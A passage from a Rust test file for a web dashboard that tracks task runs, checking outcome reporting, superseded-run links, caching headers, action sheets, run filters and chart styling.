14974 let task = fx.get(&format!("/api/runs/{new}")).await.json()["task"].clone();
14975 assert_eq!(task["status"], "held");
14976 assert_eq!(task["is_latest"], true);
14977 assert!(task["latest"].is_null());
14978 assert!(task["finished_by"].is_null());
14979 assert_eq!(task["closed_by_hand"], false);
14980 }
14981
14982 #[tokio::test]
14983 async fn a_direct_run_has_no_task_outcome() {
14984 let fx = Fixture::start().await;
14985 let runs = fx.runs();
14986 let id = "20260901-000000-aaaa";
14987 write_run(&runs, id, RunStatus::Blocked);
14988 let view = fx.get(&format!("/api/runs/{id}")).await.json();
14989 assert!(view["task"].is_null());
14990 }
14991
14992 #[test]
14993 fn task_outcome_does_not_guess_a_finishing_run() {
14994 let a = "20260901-000000-aaaa";
14995 let b = "20260901-000000-bbbb";
14996 let c = "20260901-000000-cccc";
14997 let dir = tempfile::tempdir().expect("tempdir");
14998 write_run(dir.path(), a, RunStatus::Blocked);
14999 write_run(dir.path(), b, RunStatus::VerifiedNoop);
15000 let read = |id: &str| read_run(dir.path(), id).ok();
15002 let t = outcome_task(&[a, b, c], TaskStatus::Done);
15005 let out = task_outcome(&t, a, 3, read);
15006 assert!(out.finished_by.is_none());
15007 assert!(out.closed_by_hand);
15008 let latest = out.latest.expect("latest");
15009 assert_eq!(latest.id, c);
15010 assert_eq!(latest.status, None);
15011 assert_eq!(latest.outcome, "record unreadable");
15012
15013 write_run(dir.path(), c, RunStatus::Ready);
15015 let t = outcome_task(&[a, c], TaskStatus::Done);
15016 let out = task_outcome(&t, a, 3, |id| read_run(dir.path(), id).ok());
15017 assert_eq!(out.finished_by.expect("finisher").id, c);
15018 assert!(!out.closed_by_hand);
15019
15020 let t = outcome_task(&[a, b, a], TaskStatus::Held);
15022 assert!(task_outcome(&t, a, 3, read).is_latest);
15023 }
15024
15025 #[tokio::test]
15026 async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
15027 let fx = Fixture::start().await;
15032 let q = fx.queue();
15033 let runs = fx.runs();
15034 let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
15035 write_run(&runs, first, RunStatus::Blocked);
15036 write_run(&runs, second, RunStatus::Merged);
15037
15038 let mut t = Task::new(
15039 "one task".to_owned(),
15040 "do it".to_owned(),
15041 PathBuf::from("/repo"),
15042 Source::Human,
15043 );
15044 t.runs = vec![first.to_owned(), second.to_owned()];
15045 q.put(&mut t).expect("put");
15046
15047 let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
15048 assert_eq!(earlier["superseded_by"], "dddd");
15049 assert_eq!(earlier["latest_attempt"]["id"], second);
15050 assert_eq!(earlier["latest_attempt"]["short"], "dddd");
15051 assert_eq!(
15052 earlier["latest_attempt"]["resolved"], true,
15053 "the run that replaced it landed, so this one reads as settled"
15054 );
15055
15056 let later = fx.get(&format!("/api/runs/{second}")).await.json();
15057 assert!(
15058 later["superseded_by"].is_null(),
15059 "the latest attempt is not superseded by anything"
15060 );
15061 assert!(
15062 later["latest_attempt"].is_null(),
15063 "the latest attempt has no later attempt of its own"
15064 );
15065
15066 assert!(APP_JS.contains("run.latest_attempt"));
15073 assert!(APP_JS.contains("data-superseded"));
15074 assert!(APP_JS.contains("#/runs/${latest.id}"));
15075 }
15076
15077 #[tokio::test]
15078 async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
15079 let fx = Fixture::start().await;
15085 let q = fx.queue();
15086 let runs = fx.runs();
15087 let (a, b, c) = (
15088 "20260901-000000-aaaa",
15089 "20260901-000000-bbbb",
15090 "20260901-000000-cccc",
15091 );
15092 write_run(&runs, a, RunStatus::Blocked);
15093 write_run(&runs, b, RunStatus::Blocked);
15094 write_run(&runs, c, RunStatus::Merged);
15095
15096 let mut t = Task::new(
15097 "retried twice".to_owned(),
15098 "do it".to_owned(),
15099 PathBuf::from("/repo"),
15100 Source::Human,
15101 );
15102 t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
15103 q.put(&mut t).expect("put");
15104
15105 let view = fx.get(&format!("/api/runs/{a}")).await.json();
15106 assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
15107 assert_eq!(
15108 view["latest_attempt"]["id"], c,
15109 "the chain's current head, not the intermediate Blocked retry"
15110 );
15111 assert_eq!(view["latest_attempt"]["resolved"], true);
15112
15113 let mid = fx.get(&format!("/api/runs/{b}")).await.json();
15114 assert_eq!(mid["latest_attempt"]["id"], c);
15115 assert_eq!(mid["latest_attempt"]["resolved"], true);
15116 }
15117
15118 #[tokio::test]
15119 async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
15120 let fx = Fixture::start().await;
15121 let q = fx.queue();
15122 let runs = fx.runs();
15123
15124 let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
15127 write_run(&runs, still_blocked_a, RunStatus::Blocked);
15128 write_run(&runs, still_blocked_b, RunStatus::Blocked);
15129 let mut t1 = Task::new(
15130 "still stuck".to_owned(),
15131 "do it".to_owned(),
15132 PathBuf::from("/repo"),
15133 Source::Human,
15134 );
15135 t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
15136 q.put(&mut t1).expect("put");
15137 let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
15138 assert_eq!(view1["latest_attempt"]["resolved"], false);
15139 assert_eq!(view1["latest_attempt"]["status"], "blocked");
15140 assert_eq!(view1["latest_attempt"]["done"], true);
15141
15142 let (run_a, run_b) = ("20260901-000000-e005", "20260901-000000-e006");
15144 write_run(&runs, run_a, RunStatus::Blocked);
15145 write_run(&runs, run_b, RunStatus::Implementing);
15146 let mut t3 = Task::new(
15147 "retrying".to_owned(),
15148 "do it".to_owned(),
15149 PathBuf::from("/repo"),
15150 Source::Human,
15151 );
15152 t3.runs = vec![run_a.to_owned(), run_b.to_owned()];
15153 q.put(&mut t3).expect("put");
15154 let view3 = fx.get(&format!("/api/runs/{run_a}")).await.json();
15155 assert_eq!(view3["latest_attempt"]["id"], run_b);
15156 assert_eq!(view3["latest_attempt"]["resolved"], false);
15157 assert_eq!(view3["latest_attempt"]["done"], false);
15158
15159 let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
15164 write_run(&runs, noop_a, RunStatus::Blocked);
15165 write_run(&runs, noop_b, RunStatus::VerifiedNoop);
15166 let mut t2 = Task::new(
15167 "claims done".to_owned(),
15168 "do it".to_owned(),
15169 PathBuf::from("/repo"),
15170 Source::Human,
15171 );
15172 t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
15173 q.put(&mut t2).expect("put");
15174 let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
15175 assert_eq!(
15176 view2["latest_attempt"]["resolved"], false,
15177 "an unverified no-op claim must not read as a confirmed finish"
15178 );
15179
15180 assert!(APP_JS.contains("latest.resolved"));
15183 assert!(APP_JS.contains("successorNote(latest, inFlight)"));
15186 assert!(APP_JS.contains("Latest attempt: "));
15187 assert!(APP_JS.contains("in flight"));
15188 assert!(APP_JS.contains("not resolved"));
15189 }
15190
15191 #[tokio::test]
15192 async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
15193 let fx = Fixture::start().await;
15194 let js = fx.get("/app.js").await;
15200 assert_eq!(js.status, 200);
15201 let tag = js
15202 .header("etag")
15203 .expect("an etag to revalidate against")
15204 .to_owned();
15205 assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
15206 assert_eq!(
15207 js.header("cache-control"),
15208 Some("no-cache, must-revalidate"),
15209 "the phone has to ask every time"
15210 );
15211
15212 let again = fx
15215 .get_with("/app.js", &[("if-none-match", tag.as_str())])
15216 .await;
15217 assert_eq!(
15218 again.status, 304,
15219 "a deck it already has costs one round trip"
15220 );
15221 assert!(again.body.is_empty(), "304 carries no body");
15222
15223 let weak = fx
15226 .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
15227 .await;
15228 assert_eq!(weak.status, 304);
15229 let stale = fx
15230 .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
15231 .await;
15232 assert_eq!(stale.status, 200, "an older build must be replaced");
15233 assert!(stale.body.contains("renderRunActions"));
15234 }
15235
15236 #[test]
15237 fn the_task_detail_has_an_actions_fab_and_sheet() {
15238 assert!(INDEX_HTML.contains("id=\"task-actions-fab\""));
15239 assert!(INDEX_HTML.contains("id=\"task-actions-sheet\""));
15240 assert!(INDEX_HTML.contains("id=\"task-actions-error\" role=\"alert\""));
15241 assert!(APP_JS.contains("show($(\"task-actions-fab\"), route.name === \"task\")"));
15243 assert!(APP_JS.contains("if (route.name !== \"task\") closeTaskActions();"));
15244 assert!(APP_JS.contains("renderTaskActions(task);"));
15246 assert!(APP_JS.contains("renderTaskActions(null);"));
15247 let sheet = APP_JS
15249 .find("function renderTaskActions")
15250 .expect("sheet renderer");
15251 let body = &APP_JS[sheet..sheet + 3000];
15252 assert!(body.contains("changePriority("));
15253 assert!(body.contains("openTaskEdit(task)"));
15254 assert!(body.contains("renderTaskHoldBox(host"));
15255 assert!(body.contains("renderTaskDoneBox(host"));
15256 assert!(body.contains("renderTaskDeleteBox(host"));
15257 assert!(APP_JS.contains("API.priority(id)"));
15258 assert!(APP_JS.contains("API.deleteTask(id)"));
15259 assert!(APP_JS.contains("location.hash = \"#/queue\""));
15261 assert!(APP_JS.contains("$(\"task-actions-error\")"));
15263 }
15264
15265 #[test]
15266 fn the_run_actions_sheet_leads_with_a_way_to_the_task() {
15267 let task = INDEX_HTML.find("id=\"run-task-box\"").expect("task box");
15268 let actions = INDEX_HTML
15269 .find("id=\"run-actions-box\"")
15270 .expect("actions box");
15271 assert!(task < actions, "the task entry comes first in the sheet");
15272 assert!(APP_JS.contains("renderRunTaskEntry"));
15273 assert!(APP_JS.contains("\"Open task \""));
15274 assert!(APP_JS.contains("started directly, no task"));
15276 assert!(APP_JS.contains("sheet-task-link"));
15277 assert!(APP_JS.contains("task-chip-link"));
15278 }
15279
15280 #[test]
15281 fn the_deck_never_sends_the_operator_to_a_terminal() {
15282 assert!(
15285 !APP_JS.contains("Run `magi fold` first"),
15286 "the deck must offer the fold, not prescribe a shell command"
15287 );
15288 assert!(APP_JS.contains("foldRun:"));
15289 assert!(APP_JS.contains("resumeRun:"));
15290 assert!(APP_JS.contains("renderRunActions"));
15291
15292 assert!(APP_JS.contains("armedFold"));
15294 assert!(APP_JS.contains("Yes, fold worktrees"));
15295
15296 assert!(APP_JS.contains("can no longer be resumed"));
15299 }
15300
15301 #[test]
15302 fn a_finished_run_explains_itself_with_its_own_last_line() {
15303 assert!(
15309 !APP_JS.contains("collapsed on agent quota"),
15310 "a stall must not be explained by a cause the deck did not check"
15311 );
15312 assert!(
15313 !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
15314 "and a block must not offer a guess with an `or` in it"
15315 );
15316
15317 assert!(
15321 APP_JS.contains("setText(r.event, run.event || \"\")"),
15322 "the run's last line is rendered unconditionally"
15323 );
15324 assert!(
15325 !APP_JS.contains("moving && run.event"),
15326 "and never gated on the run still moving"
15327 );
15328
15329 assert!(APP_JS.contains("lost to quota"));
15331 }
15332
15333 #[test]
15355 fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
15356 let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
15357 let shapes_body_start =
15358 APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
15359 let shapes_close = APP_JS[shapes_body_start..]
15360 .find("].map(")
15361 .expect("the shape list is closed by its done-computing .map(...)")
15362 + shapes_body_start;
15363 let shapes_src = &APP_JS[shapes_body_start..shapes_close];
15364
15365 let mut shapes: Vec<(bool, String, bool)> = Vec::new();
15366 for entry in shapes_src.split('{').skip(1) {
15367 let waiting = entry.contains("waiting: true");
15368 let dead = entry.contains("live: \"dead\"");
15369 let status_at =
15370 entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
15371 let status_end = entry[status_at..]
15372 .find('"')
15373 .expect("the status string is closed")
15374 + status_at;
15375 shapes.push((waiting, entry[status_at..status_end].to_string(), dead));
15376 }
15377 assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
15378
15379 let done_rule_marker = "done: !";
15383 let done_rule_at = APP_JS[shapes_close..]
15384 .find(done_rule_marker)
15385 .expect("the done rule follows the shape list")
15386 + shapes_close
15387 + done_rule_marker.len();
15388 let includes_at = APP_JS[done_rule_at..]
15389 .find(".includes(shape.status)")
15390 .expect("the done rule ends in .includes(shape.status)")
15391 + done_rule_at;
15392 let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
15393 .trim()
15394 .trim_start_matches('[')
15395 .trim_end_matches(']')
15396 .split(',')
15397 .map(|s| s.trim().trim_matches('"'))
15398 .filter(|s| !s.is_empty())
15399 .collect();
15400
15401 let shapes: Vec<(bool, String, bool, bool)> = shapes
15402 .into_iter()
15403 .map(|(waiting, status, dead)| {
15404 let done = !not_done.contains(&status.as_str());
15405 (waiting, status, dead, done)
15406 })
15407 .collect();
15408
15409 fn run_section(waiting: bool, status: &str, dead: bool) -> &'static str {
15413 if waiting {
15414 return "waiting";
15415 }
15416 if dead
15417 && !matches!(
15418 status,
15419 "merged"
15420 | "ready"
15421 | "stalled"
15422 | "blocked"
15423 | "failed"
15424 | "verified_noop"
15425 | "superseded"
15426 | "already_in_base"
15427 )
15428 {
15429 return "stale";
15430 }
15431 match status {
15432 "merged" | "ready" => "landed",
15433 "stalled" | "blocked" | "failed" | "verified_noop" | "superseded"
15434 | "already_in_base" => "ended",
15435 _ => "flight",
15436 }
15437 }
15438
15439 fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
15442 match filter_key {
15443 "active" => !done,
15444 "flight" => !done && !waiting && !dead,
15445 "stale" => !done && !waiting && dead,
15446 "waiting" => waiting,
15447 "done" => done,
15448 "all" => true,
15449 other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
15450 }
15451 }
15452
15453 let compatible = |section: &str, filter_key: &str| {
15454 shapes.iter().any(|(waiting, status, dead, done)| {
15455 run_section(*waiting, status, *dead) == section
15456 && filter_matches(filter_key, *waiting, *dead, *done)
15457 })
15458 };
15459
15460 let expected = [
15465 ("waiting", [true, false, false, true, true, true]),
15466 ("stale", [true, false, true, false, false, true]),
15467 ("flight", [true, true, false, false, false, true]),
15468 ("landed", [false, false, false, false, true, true]),
15469 ("ended", [false, false, false, false, true, true]),
15470 ];
15471 let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
15472
15473 for (section, wants) in expected {
15474 for (filter_key, want) in filter_keys.iter().zip(wants) {
15475 assert_eq!(
15476 compatible(section, filter_key),
15477 want,
15478 "section {section:?} x filter {filter_key:?} should be compatible: {want}"
15479 );
15480 }
15481 }
15482
15483 assert!(
15486 APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
15487 );
15488 assert!(APP_JS.contains(
15489 "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
15490 ));
15491 assert!(APP_JS.contains(
15492 "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
15493 ));
15494 }
15495
15496 #[tokio::test]
15497 async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
15498 let dir = tempfile::tempdir().expect("tempdir");
15502 let explicit = dir.path().join("not-a-checkout");
15503 std::fs::create_dir_all(&explicit).expect("create dir");
15504 assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
15505
15506 let missing = dir.path().join("does-not-exist-at-all");
15507 assert_eq!(normalize_default_repo(missing.clone()).await, missing);
15508 }
15509
15510 #[test]
15511 fn stats_verdict_donut_has_fixed_colours_and_a_minimum_arc() {
15512 assert!(APP_JS.contains("function statsDonutArcs"));
15513 assert!(APP_JS.contains("STATS_DONUT_MIN_DEG"));
15514 assert!(APP_JS.contains("function statusInBucket"));
15516 assert!(APP_JS.contains("statuses: [\"superseded\", \"already_in_base\"]"));
15517 assert!(INDEX_HTML.contains("id=\"stats-verdict-donut\""));
15518 let buckets = [
15519 "merged",
15520 "ready",
15521 "in_progress",
15522 "blocked",
15523 "failed",
15524 "verified_noop",
15525 "superseded",
15526 "stalled",
15527 ];
15528 for key in buckets {
15529 let var = format!("--verdict-{key}:");
15530 assert_eq!(APP_CSS.matches(&var).count(), 3, "{var}");
15532 assert!(
15533 APP_CSS.contains(&format!("[data-verdict=\"{key}\"]")),
15534 "{key}"
15535 );
15536 }
15537 }
15538}